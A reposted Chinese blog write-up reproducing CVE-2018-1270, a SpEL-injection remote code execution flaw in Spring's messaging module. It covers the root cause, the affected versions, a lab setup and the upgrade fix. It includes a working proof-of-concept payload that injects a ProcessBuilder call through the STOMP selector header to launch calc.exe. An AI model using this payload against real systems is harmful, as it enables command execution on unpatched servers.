转载

spring-messaging RCE(cve-2018-1270) 重现

0x00 概述

4月5号网上爆出spring框架的一个rce漏洞,编号cve-2018-1270,著名的ssh框架就用了spring。

漏洞存在于spring-message模块,

大致流程是:

类DefaultSubscriptionRegistry.java的addSubscriptionInternal方法中,有expression = this.expressionParser.parseExpression(selector);

这个spel表达式语句,selector可控,如果要命令执行,需要expression.getValue或expression.setValue,而后面就有

if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))

如果感兴趣还可以深入跟踪触发流程。

本文对此漏洞进行重现。

0x01 影响范围

Spring Framework 5.0 to 5.0.4

Spring Framework 4.3 to 4.3.14

以及更老的不支持的版本

0x02 漏洞重现

测试环境:

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket

git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

cd complete

./mvnw spring-boot:run

http://192.168.110.10:8080

spring-messaging RCE(cve-2018-1270) 重现

重现:

开启抓包,点击connect

得到

[“SUBSCRIBE/nid:sub-0/ndestination:/topic/greetings/n/n/u0000″]

这个包,

加入payload:

selector:new java.lang.ProcessBuilder(/”calc.exe/”).start()/n

得:

[“SUBSCRIBE/nid:sub-0/ndestination:/topic/greetings/nselector:new java.lang.ProcessBuilder(/”calc.exe/”).start()/n/n/u0000″]

放行,

再send

spring-messaging RCE(cve-2018-1270) 重现

重现成功!

再赠送个xss

spring-messaging RCE(cve-2018-1270) 重现

0x03 修复方案

升级到5.0.5或4.3.15

0x04 参考资料

https://pivotal.io/security/cve-2018-1270

www.polaris-lab.com/index.php/archives/501/

https://xz.aliyun.com/t/2252

https://github.com/spring-guides/gs-messaging-stomp-websocket

原文  http://www.lsablog.com/network_security/penetration/cve-2018-1270-repeat/
正文到此结束
Loading...